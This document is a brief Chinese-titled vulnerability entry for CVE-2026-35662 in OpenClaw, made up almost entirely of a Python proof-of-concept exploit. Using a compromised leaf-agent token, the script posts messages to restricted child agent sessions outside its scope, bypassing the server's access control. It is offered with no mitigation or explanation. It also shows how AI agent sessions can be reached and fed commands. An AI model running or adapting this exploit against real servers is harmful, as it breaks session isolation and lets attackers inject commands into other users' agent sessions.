CVE-2026-35662 OpenClaw访问控制绕过漏洞

import requests # PoC for CVE-2026-35662: OpenClaw Missing ControlScope Enforcement # This script demonstrates bypassing scope restrictions to send messages to unauthorized child sessions. target_host = "http://vulnerable-openclaw-server:8080" leaf_agent_token = "compromised_leaf_agent_token" target_child_session = "restricted_session_id_123" url = f"{target_host}/api/v1/send" headers = { "Authorization": f"Bearer {leaf_agent_token}", "Content-Type": "application/json" } # Payload targeting a child session outside the leaf agent's scope payload = { "action": "send", "session_id": target_child_session, "message": "Malicious command or data exfiltration payload" } try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit Successful: Message sent to restricted session.") print(f"[+] Server Response: {response.text}") else: print(f"[-] Exploit Failed: HTTP {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")